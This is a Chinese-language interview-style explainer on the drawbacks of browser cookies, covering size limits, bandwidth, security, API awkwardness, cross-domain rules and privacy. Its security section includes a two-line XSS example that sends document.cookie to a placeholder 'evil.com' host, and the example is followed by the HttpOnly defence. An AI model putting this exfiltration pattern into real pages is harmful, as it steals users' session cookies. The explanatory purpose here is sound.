Cookie 的弊端

Cookie 在实际使用中的限制和问题

问题

请谈谈 Cookie 的弊端。

解答

1. 容量限制

// 单个 Cookie 大小限制约 4KB
document.cookie = 'data=' + 'x'.repeat(4096); // 可能被截断

// 每个域名下 Cookie 数量有限(通常 20-50 个)
// 超出限制后,旧的 Cookie 会被删除

2. 性能开销

// 每次 HTTP 请求都会自动携带该域下所有 Cookie
// 即使请求静态资源(图片、CSS、JS)也会带上

// 假设有 3KB 的 Cookie,页面有 50 个请求
// 额外带宽消耗:3KB × 50 = 150KB

3. 安全性问题

// XSS 攻击可以窃取 Cookie
// 恶意脚本可以读取 document.cookie
const stolen = document.cookie;
new Image().src = 'https://evil.com/steal?cookie=' + stolen;

// 防护:设置 HttpOnly,禁止 JS 访问
// Set-Cookie: token=abc123; HttpOnly

// CSRF 攻击会自动携带 Cookie
// 用户访问恶意网站时,请求会自动带上目标站点的 Cookie

4. 操作 API 不友好

// 原生 API 只有一个字符串属性,操作繁琐
document.cookie = 'name=value'; // 设置
document.cookie; // 获取所有,返回 "name=value; other=data"

// 需要手动解析
function getCookie(name) {
  const cookies = document.cookie.split('; ');
  for (const cookie of cookies) {
    const [key, value] = cookie.split('=');
    if (key === name) return decodeURIComponent(value);
  }
  return null;
}

// 删除需要设置过期时间
document.cookie = 'name=; expires=Thu, 01 Jan 1970 00:00:00 GMT';

5. 跨域限制

// Cookie 遵循同源策略,不能跨域访问
// a.example.com 无法读取 b.example.com 的 Cookie

// 可以设置 domain 实现子域共享
// Set-Cookie: token=abc; domain=.example.com

6. 移动端和隐私问题

// 第三方 Cookie 被用于用户追踪
// 现代浏览器逐步禁用第三方 Cookie(Safari、Firefox 已默认禁用)

// SameSite 属性限制跨站携带
// Set-Cookie: token=abc; SameSite=Strict  // 完全禁止跨站
// Set-Cookie: token=abc; SameSite=Lax     // 允许导航跳转携带
// Set-Cookie: token=abc; SameSite=None; Secure  // 允许跨站,需 HTTPS

替代方案对比

特性CookielocalStoragesessionStorage
容量~4KB~5MB~5MB
自动发送
过期时间可设置永久会话结束
跨标签页

关键点

  • 容量小:单个约 4KB,数量有限制
  • 性能差:每次请求自动携带,浪费带宽
  • 安全风险:易受 XSS 和 CSRF 攻击
  • API 难用:只有字符串操作,需手动解析
  • 隐私争议:第三方 Cookie 被逐步禁用